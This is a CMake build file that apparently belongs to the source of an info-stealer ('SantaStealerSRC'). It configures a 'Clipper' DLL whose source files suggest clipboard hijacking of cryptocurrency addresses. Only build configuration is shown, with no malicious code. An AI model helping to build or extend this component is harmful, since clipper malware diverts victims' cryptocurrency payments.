Files
SantaStealerSRC/Clipper/CMakeLists.txt
T
2026-08-27 11:22:14 -06:00

58 lines
1.5 KiB
CMake
Executable File

cmake_minimum_required(VERSION 3.31)
project(Clipper LANGUAGES CXX)
set(CMAKE_CXX_STANDARD 23)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CLIPPER_BUILD_TEST "HEADER_ONLY"
CACHE STRING "Test build mode: STATIC, HEADER_ONLY, NO"
)
set_property(CACHE CLIPPER_BUILD_TEST PROPERTY STRINGS STATIC HEADER_ONLY NO)
add_library(ClipperCommon OBJECT
src/Clipper.h
src/WindowClassManager.hpp
src/ClipboardOperations.hpp
src/Clipboard.hpp
src/AddressManager.hpp
src/CallbackManager.hpp
src/CryptocurrencyValidator.hpp
src/CallbackManager.hpp
src/ClipperImpl.hpp
src/Clipper.cpp
src/WindowClassManager.cpp
src/ClipboardOperations.cpp
src/Clipboard.cpp
src/AddressManager.cpp
src/CallbackManager.cpp
src/CryptocurrencyValidator.cpp
src/ClipperImpl.cpp
)
add_library(Clipper SHARED
$<TARGET_OBJECTS:ClipperCommon>
src/DllMain.cpp
)
target_compile_definitions(ClipperCommon PRIVATE DLL_BUILD)
if (CLIPPER_BUILD_TEST STREQUAL "STATIC")
add_executable(ClipperTest
$<TARGET_OBJECTS:ClipperCommon>
src/ClipperTest.cpp
)
target_compile_definitions(ClipperTest PRIVATE TEST_STATIC_BUILD)
elseif (CLIPPER_BUILD_TEST STREQUAL "HEADER_ONLY")
add_executable(ClipperTest
src/Clipper.h
src/ClipperTest.cpp
)
elseif (CLIPPER_BUILD_TEST STREQUAL "NO")
else()
message(FATAL_ERROR
"Invalid value for CLIPPER_BUILD_TEST: ${CLIPPER_BUILD_TEST}\n"
"Valid values: STATIC, HEADER_ONLY, NO"
)
endif()